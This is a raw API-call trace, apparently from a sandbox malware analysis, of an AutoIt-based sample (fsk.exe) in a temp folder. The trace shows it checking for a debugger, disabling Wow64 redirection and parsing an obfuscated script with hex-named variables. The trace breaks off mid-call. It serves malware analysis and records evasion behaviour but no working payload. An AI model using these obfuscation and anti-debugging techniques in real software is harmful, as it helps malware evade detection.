wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0078.328] FreeLibrary (hLibModule=0x76540000) returned 1 [0078.329] MapVirtualKeyW (uCode=0x5b, uMapType=0x0) returned 0x5b [0078.329] MapVirtualKeyW (uCode=0x10, uMapType=0x0) returned 0x2a [0078.329] MapVirtualKeyW (uCode=0xa0, uMapType=0x0) returned 0x2a [0078.329] MapVirtualKeyW (uCode=0xa1, uMapType=0x0) returned 0x36 [0078.329] MapVirtualKeyW (uCode=0x11, uMapType=0x0) returned 0x1d [0078.329] MapVirtualKeyW (uCode=0x12, uMapType=0x0) returned 0x38 [0078.329] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc1a6 [0078.330] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0078.330] OleInitialize (pvReserved=0x0) returned 0x0 [0078.335] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Control Panel\\Mouse", ulOptions=0x0, samDesired=0x1, phkResult=0x60fe0c | out: phkResult=0x60fe0c*=0xf8) returned 0x0 [0078.336] RegQueryValueExW (in: hKey=0xf8, lpValueName="SwapMouseButtons", lpReserved=0x0, lpType=0x0, lpData=0x60fe28, lpcbData=0x60fe10*=0x8 | out: lpType=0x0, lpData=0x60fe28*=0x30, lpcbData=0x60fe10*=0x4) returned 0x0 [0078.336] RegCloseKey (hKey=0xf8) returned 0x0 [0078.338] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5efde0, nSize=0x7fff | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fsk.exe")) returned 0x35 [0078.339] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe", nBufferLength=0x7fff, lpBuffer=0x5dfdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe", lpFilePart=0x0) returned 0x35 [0078.339] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe", nBufferLength=0x7fff, lpBuffer=0x5efdec, lpFilePart=0x5ffdec | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe", lpFilePart=0x5ffdec*="fsk.exe") returned 0x35 [0078.339] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\AutoIt v3\\AutoIt", ulOptions=0x0, samDesired=0x1, phkResult=0x5ffe08 | out: phkResult=0x5ffe08*=0x0) returned 0x2 [0078.340] IsThemeActive () returned 0x1 [0078.340] SystemParametersInfoW (in: uiAction=0x2000, uiParam=0x0, pvParam=0x60fe2c, fWinIni=0x0 | out: pvParam=0x60fe2c) returned 1 [0078.340] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x0, fWinIni=0x2 | out: pvParam=0x0) returned 1 [0078.340] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x5ffe00 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0078.341] IsDebuggerPresent () returned 0 [0078.342] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\HFKMZ", nBufferLength=0x7fff, lpBuffer=0x5cfd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\HFKMZ", lpFilePart=0x0) returned 0x33 [0078.342] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\HFKMZ", lpszLongPath=0x5cfd70, cchBuffer=0x7fff | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\HFKMZ") returned 0x33 [0078.343] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\HFKMZ", nBufferLength=0x7fff, lpBuffer=0x5cfd40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\HFKMZ", lpFilePart=0x0) returned 0x33 [0078.343] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76540000 [0078.343] GetProcAddress (hModule=0x76540000, lpProcName=0x11f7fd0) returned 0x7656d650 [0078.343] Wow64DisableWow64FsRedirection (in: OldValue=0x5dfcdc | out: OldValue=0x5dfcdc*=0x0) returned 1 [0078.343] FreeLibrary (hLibModule=0x76540000) returned 1 [0078.344] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\HFKMZ" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\hfkmz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x5dfb78, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf8 [0078.344] GetFileType (hFile=0xf8) returned 0x1 [0078.344] LoadLibraryExW (lpLibFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\HFKMZ", hFile=0x0, dwFlags=0x2) returned 0x0 [0078.345] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76540000 [0078.345] GetProcAddress (hModule=0x76540000, lpProcName=0x11f7ff0) returned 0x7656d668 [0078.345] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0078.345] FreeLibrary (hLibModule=0x76540000) returned 1 [0078.345] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5deb94 | out: lpNewFilePointer=0x0) returned 1 [0078.345] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5deb8c | out: lpNewFilePointer=0x0) returned 1 [0078.347] ReadFile (in: hFile=0xf8, lpBuffer=0x63b7f8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x5dfba4, lpOverlapped=0x0 | out: lpBuffer=0x63b7f8*, lpNumberOfBytesRead=0x5dfba4*=0x10000, lpOverlapped=0x0) returned 1 [0078.348] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5deb64 | out: lpNewFilePointer=0x0) returned 1 [0078.348] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5deb5c | out: lpNewFilePointer=0x0) returned 1 [0078.348] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5dfba4 | out: lpNewFilePointer=0x0) returned 1 [0078.348] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0xffec, lpNewFilePointer=0x0, dwMoveMethod=0x5dfb9c | out: lpNewFilePointer=0x0) returned 1 [0078.348] ReadFile (in: hFile=0xf8, lpBuffer=0x63b7f8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x5dfba4, lpOverlapped=0x0 | out: lpBuffer=0x63b7f8*, lpNumberOfBytesRead=0x5dfba4*=0x5c2c, lpOverlapped=0x0) returned 1 [0078.348] ReadFile (in: hFile=0xf8, lpBuffer=0x641424, nNumberOfBytesToRead=0xa000, lpNumberOfBytesRead=0x5dfba4, lpOverlapped=0x0 | out: lpBuffer=0x641424*, lpNumberOfBytesRead=0x5dfba4*=0x0, lpOverlapped=0x0) returned 1 [0078.348] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5deb64 | out: lpNewFilePointer=0x0) returned 1 [0078.348] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5deb5c | out: lpNewFilePointer=0x0) returned 1 [0078.348] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5dfba4 | out: lpNewFilePointer=0x0) returned 1 [0078.348] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x15c04, lpNewFilePointer=0x0, dwMoveMethod=0x5dfb9c | out: lpNewFilePointer=0x0) returned 1 [0078.349] ReadFile (in: hFile=0xf8, lpBuffer=0x63b7f8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x5dfba4, lpOverlapped=0x0 | out: lpBuffer=0x63b7f8*, lpNumberOfBytesRead=0x5dfba4*=0x14, lpOverlapped=0x0) returned 1 [0078.349] ReadFile (in: hFile=0xf8, lpBuffer=0x63b80c, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x5dfba4, lpOverlapped=0x0 | out: lpBuffer=0x63b80c*, lpNumberOfBytesRead=0x5dfba4*=0x0, lpOverlapped=0x0) returned 1 [0078.349] CloseHandle (hObject=0xf8) returned 1 [0078.349] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76540000 [0078.349] GetProcAddress (hModule=0x76540000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7656d650 [0078.349] Wow64DisableWow64FsRedirection (in: OldValue=0x5dfcdc | out: OldValue=0x5dfcdc*=0x0) returned 1 [0078.349] FreeLibrary (hLibModule=0x76540000) returned 1 [0078.349] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\HFKMZ" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\hfkmz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x5dfb78, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf8 [0078.349] GetFileType (hFile=0xf8) returned 0x1 [0078.349] LoadLibraryExW (lpLibFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\HFKMZ", hFile=0x0, dwFlags=0x2) returned 0x0 [0078.350] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76540000 [0078.350] GetProcAddress (hModule=0x76540000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7656d668 [0078.350] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0078.350] FreeLibrary (hLibModule=0x76540000) returned 1 [0078.350] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5deb94 | out: lpNewFilePointer=0x0) returned 1 [0078.350] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5deb8c | out: lpNewFilePointer=0x0) returned 1 [0078.350] ReadFile (in: hFile=0xf8, lpBuffer=0x63b7f8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x5dfba4, lpOverlapped=0x0 | out: lpBuffer=0x63b7f8*, lpNumberOfBytesRead=0x5dfba4*=0x10000, lpOverlapped=0x0) returned 1 [0078.351] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5deb64 | out: lpNewFilePointer=0x0) returned 1 [0078.351] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5deb5c | out: lpNewFilePointer=0x0) returned 1 [0078.351] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5dfba4 | out: lpNewFilePointer=0x0) returned 1 [0078.351] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0xffec, lpNewFilePointer=0x0, dwMoveMethod=0x5dfb9c | out: lpNewFilePointer=0x0) returned 1 [0078.351] ReadFile (in: hFile=0xf8, lpBuffer=0x63b7f8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x5dfba4, lpOverlapped=0x0 | out: lpBuffer=0x63b7f8*, lpNumberOfBytesRead=0x5dfba4*=0x5c2c, lpOverlapped=0x0) returned 1 [0078.351] ReadFile (in: hFile=0xf8, lpBuffer=0x641424, nNumberOfBytesToRead=0xa000, lpNumberOfBytesRead=0x5dfba4, lpOverlapped=0x0 | out: lpBuffer=0x641424*, lpNumberOfBytesRead=0x5dfba4*=0x0, lpOverlapped=0x0) returned 1 [0078.351] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5deb64 | out: lpNewFilePointer=0x0) returned 1 [0078.351] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5deb5c | out: lpNewFilePointer=0x0) returned 1 [0078.351] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5dfba4 | out: lpNewFilePointer=0x0) returned 1 [0078.351] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x15c04, lpNewFilePointer=0x0, dwMoveMethod=0x5dfb9c | out: lpNewFilePointer=0x0) returned 1 [0078.351] ReadFile (in: hFile=0xf8, lpBuffer=0x63b7f8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x5dfba4, lpOverlapped=0x0 | out: lpBuffer=0x63b7f8*, lpNumberOfBytesRead=0x5dfba4*=0x14, lpOverlapped=0x0) returned 1 [0078.351] ReadFile (in: hFile=0xf8, lpBuffer=0x63b80c, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x5dfba4, lpOverlapped=0x0 | out: lpBuffer=0x63b80c*, lpNumberOfBytesRead=0x5dfba4*=0x0, lpOverlapped=0x0) returned 1 [0078.351] CloseHandle (hObject=0xf8) returned 1 [0078.351] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\HFKMZ" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\hfkmz"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf8 [0078.351] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.352] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5dfb54 | out: lpNewFilePointer=0x0) returned 1 [0078.352] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x5dfb64 | out: lpNewFilePointer=0x0) returned 1 [0078.352] ReadFile (in: hFile=0xf8, lpBuffer=0x63b7f8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x5dfb8c, lpOverlapped=0x0 | out: lpBuffer=0x63b7f8*, lpNumberOfBytesRead=0x5dfb8c*=0x10000, lpOverlapped=0x0) returned 1 [0078.353] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x5cfbd8 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0078.353] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\HFKMZ", nBufferLength=0x7fff, lpBuffer=0x5cfbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\HFKMZ", lpFilePart=0x0) returned 0x33 [0078.353] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0078.353] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x63b148, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0078.353] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x63b148, cbMultiByte=12, lpWideCharStr=0x63b508, cchWideChar=12 | out: lpWideCharStr="#NoTrayIcon") returned 12 [0078.357] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.357] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.357] CharUpperBuffW (in: lpsz="4063A0C69862A72A9", cchLength=0x11 | out: lpsz="4063A0C69862A72A9") returned 0x11 [0078.357] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.357] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.358] CharUpperBuffW (in: lpsz="53675A741B726EAC88522D14B9F334E1", cchLength=0x20 | out: lpsz="53675A741B726EAC88522D14B9F334E1") returned 0x20 [0078.358] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.358] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.358] CharUpperBuffW (in: lpsz="368080A29D90F5BA0B1D1E0DEAF11686", cchLength=0x20 | out: lpsz="368080A29D90F5BA0B1D1E0DEAF11686") returned 0x20 [0078.358] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.358] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.358] CharUpperBuffW (in: lpsz="2BADE2A6917E4FD3141FF478399B9C29", cchLength=0x20 | out: lpsz="2BADE2A6917E4FD3141FF478399B9C29") returned 0x20 [0078.358] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.358] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.358] CharUpperBuffW (in: lpsz="D7B87DBC9EBFE9B98E86AC402AF30278", cchLength=0x20 | out: lpsz="D7B87DBC9EBFE9B98E86AC402AF30278") returned 0x20 [0078.359] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.359] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.359] CharUpperBuffW (in: lpsz="A4E74B3D571DD28A4BD46AFED2FF9A21", cchLength=0x20 | out: lpsz="A4E74B3D571DD28A4BD46AFED2FF9A21") returned 0x20 [0078.359] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.359] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.359] CharUpperBuffW (in: lpsz="B939F5E560A162C57C19FFD63367B64E", cchLength=0x20 | out: lpsz="B939F5E560A162C57C19FFD63367B64E") returned 0x20 [0078.359] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.359] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.359] CharUpperBuffW (in: lpsz="72C3DED1B4617DC9E36E9F0FA1ECD04B", cchLength=0x20 | out: lpsz="72C3DED1B4617DC9E36E9F0FA1ECD04B") returned 0x20 [0078.359] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.359] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.360] CharUpperBuffW (in: lpsz="B6D07C74BD5D1C5988597C22A366633F", cchLength=0x20 | out: lpsz="B6D07C74BD5D1C5988597C22A366633F") returned 0x20 [0078.360] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.360] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.360] CharUpperBuffW (in: lpsz="AC23469B485C91685E66323634795BB3", cchLength=0x20 | out: lpsz="AC23469B485C91685E66323634795BB3") returned 0x20 [0078.360] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.360] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.360] CharUpperBuffW (in: lpsz="A2FCA4C08C8A3F1468D8E746E31AB5CB", cchLength=0x20 | out: lpsz="A2FCA4C08C8A3F1468D8E746E31AB5CB") returned 0x20 [0078.360] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.360] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.360] CharUpperBuffW (in: lpsz="487AA7ED5C22C2DBED5BE8784863E3CA", cchLength=0x20 | out: lpsz="487AA7ED5C22C2DBED5BE8784863E3CA") returned 0x20 [0078.361] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.361] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.361] CharUpperBuffW (in: lpsz="F23BABECD6E4A8BB507295A70C116B81", cchLength=0x20 | out: lpsz="F23BABECD6E4A8BB507295A70C116B81") returned 0x20 [0078.361] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.361] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.361] CharUpperBuffW (in: lpsz="893529605D2CC4E08C633862AF17D045", cchLength=0x20 | out: lpsz="893529605D2CC4E08C633862AF17D045") returned 0x20 [0078.361] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.361] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.361] CharUpperBuffW (in: lpsz="D55A30AD6906FF18C3F0AD47673624E1", cchLength=0x20 | out: lpsz="D55A30AD6906FF18C3F0AD47673624E1") returned 0x20 [0078.361] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.362] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.362] CharUpperBuffW (in: lpsz="D9E2A9D97C7FFBAD9D504886A359FB4A", cchLength=0x20 | out: lpsz="D9E2A9D97C7FFBAD9D504886A359FB4A") returned 0x20 [0078.362] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.362] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.362] CharUpperBuffW (in: lpsz="4350DEA878C5E4A2BAB83C4406A8B26B", cchLength=0x20 | out: lpsz="4350DEA878C5E4A2BAB83C4406A8B26B") returned 0x20 [0078.362] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.362] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.362] CharUpperBuffW (in: lpsz="75A2FB145F3605CA0DA3CA48D7B9C281", cchLength=0x20 | out: lpsz="75A2FB145F3605CA0DA3CA48D7B9C281") returned 0x20 [0078.362] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.362] CharUpperBuffW (in: lpsz="Const", cchLength=0x5 | out: lpsz="CONST") returned 0x5 [0078.363] CharUpperBuffW (in: lpsz="1295974546E6E9CA72B1205FD83C6F10", cchLength=0x20 | out: lpsz="1295974546E6E9CA72B1205FD83C6F10") returned 0x20 [0078.363] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.363] CharUpperBuffW (in: lpsz="FDA831CE40AFAB1CCB2F146F9D71CF0F", cchLength=0x20 | out: lpsz="FDA831CE40AFAB1CCB2F146F9D71CF0F") returned 0x20 [0078.363] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.363] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.363] CharUpperBuffW (in: lpsz="6C3C44D956C1D408BA305F8620833447", cchLength=0x20 | out: lpsz="6C3C44D956C1D408BA305F8620833447") returned 0x20 [0078.363] CharUpperBuffW (in: lpsz="D7D52CFFCBB6745185B9DB4AFA2C8C13", cchLength=0x20 | out: lpsz="D7D52CFFCBB6745185B9DB4AFA2C8C13") returned 0x20 [0078.363] CharUpperBuffW (in: lpsz="FF9A003592FB5AC6C447DC74647093B4", cchLength=0x20 | out: lpsz="FF9A003592FB5AC6C447DC74647093B4") returned 0x20 [0078.363] CharUpperBuffW (in: lpsz="B9B82D98583A5C233FD445FABDD55983", cchLength=0x20 | out: lpsz="B9B82D98583A5C233FD445FABDD55983") returned 0x20 [0078.363] CharUpperBuffW (in: lpsz="F39285179624EA59225A0BF28273C515", cchLength=0x20 | out: lpsz="F39285179624EA59225A0BF28273C515") returned 0x20 [0078.363] CharUpperBuffW (in: lpsz="79E6B6AD0E3929343C8227B45FDD4FFB", cchLength=0x20 | out: lpsz="79E6B6AD0E3929343C8227B45FDD4FFB") returned 0x20 [0078.364] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.364] CharUpperBuffW (in: lpsz="3C02906DBD82FAE9BEDF15FA83019CD3", cchLength=0x20 | out: lpsz="3C02906DBD82FAE9BEDF15FA83019CD3") returned 0x20 [0078.364] CharUpperBuffW (in: lpsz="MIN", cchLength=0x3 | out: lpsz="MIN") returned 0x3 [0078.364] CharUpperBuffW (in: lpsz="10408E6F4EE9BCC475D45187F7A61581", cchLength=0x20 | out: lpsz="10408E6F4EE9BCC475D45187F7A61581") returned 0x20 [0078.364] CharUpperBuffW (in: lpsz="MIN", cchLength=0x3 | out: lpsz="MIN") returned 0x3 [0078.364] CharUpperBuffW (in: lpsz="576E7ACF370C475C1F7CFFC8287D4894", cchLength=0x20 | out: lpsz="576E7ACF370C475C1F7CFFC8287D4894") returned 0x20 [0078.364] CharUpperBuffW (in: lpsz="D670D931AB625312A06C6E78CAF5F4FA", cchLength=0x20 | out: lpsz="D670D931AB625312A06C6E78CAF5F4FA") returned 0x20 [0078.364] CharUpperBuffW (in: lpsz="5D33270AF08A87ABF453DC3CE78E09EC", cchLength=0x20 | out: lpsz="5D33270AF08A87ABF453DC3CE78E09EC") returned 0x20 [0078.364] CharUpperBuffW (in: lpsz="FD207A895B0E415C87F1962728B8263A", cchLength=0x20 | out: lpsz="FD207A895B0E415C87F1962728B8263A") returned 0x20 [0078.364] CharUpperBuffW (in: lpsz="EF334541C41BF1292618BD324F33ECFF", cchLength=0x20 | out: lpsz="EF334541C41BF1292618BD324F33ECFF") returned 0x20 [0078.365] CharUpperBuffW (in: lpsz="38FB60076F054E3721B05607F1809456", cchLength=0x20 | out: lpsz="38FB60076F054E3721B05607F1809456") returned 0x20 [0078.365] CharUpperBuffW (in: lpsz="Global", cchLength=0x6 | out: lpsz="GLOBAL") returned 0x6 [0078.365] CharUpperBuffW (in: lpsz="C53E1AA287D0B74A8A796B2D3DB2DAE2", cchLength=0x20 | out: lpsz="C53E1AA287D0B74A8A796B2D3DB2DAE2") returned 0x20 [0078.365] CharUpperBuffW (in: lpsz="C8E8F8600975B3E41D4C0AFA85BEDAB0", cchLength=0x20 | out: lpsz="C8E8F8600975B3E41D4C0AFA85BEDAB0") returned 0x20 [0078.365] CharUpperBuffW (in: lpsz="3B3F342DCB843A363757E1DD2813D3FF", cchLength=0x20 | out: lpsz="3B3F342DCB843A363757E1DD2813D3FF") returned 0x20 [0078.365] CharUpperBuffW (in: lpsz="8F5EBE1328FC2B2DC6016A70C366F083", cchLength=0x20 | out: lpsz="8F5EBE1328FC2B2DC6016A70C366F083") returned 0x20 [0078.365] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.365] CharUpperBuffW (in: lpsz="ScriptDir", cchLength=0x9 | out: lpsz="SCRIPTDIR") returned 0x9 [0078.365] CharUpperBuffW (in: lpsz="989BD8DF7434150DDDCC4E3AF84571E3", cchLength=0x20 | out: lpsz="989BD8DF7434150DDDCC4E3AF84571E3") returned 0x20 [0078.365] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0078.366] CharUpperBuffW (in: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5", cchLength=0x20 | out: lpsz="6D8EA853F0F9D4F4725A7B18BA8E68E5") returned 0x20 [0078.366] CharUpperBuffW (in: lpsz="9355FBBA246C8217C04EE3075C218909", cchLength=0x20 | out: lpsz="9355FBBA246C8217C04EE3075C218909") returned 0x20 [0078.366] CharUpperBuffW (in: lpsz="TempDir", cchLength=0x7 | out: lpsz="TEMPDIR") returned 0x7 [0078.366] CharUpperBuffW (in: lpsz="989BD8DF7434150DDDCC4E3AF84571E3", cchLength=0x20 | out: 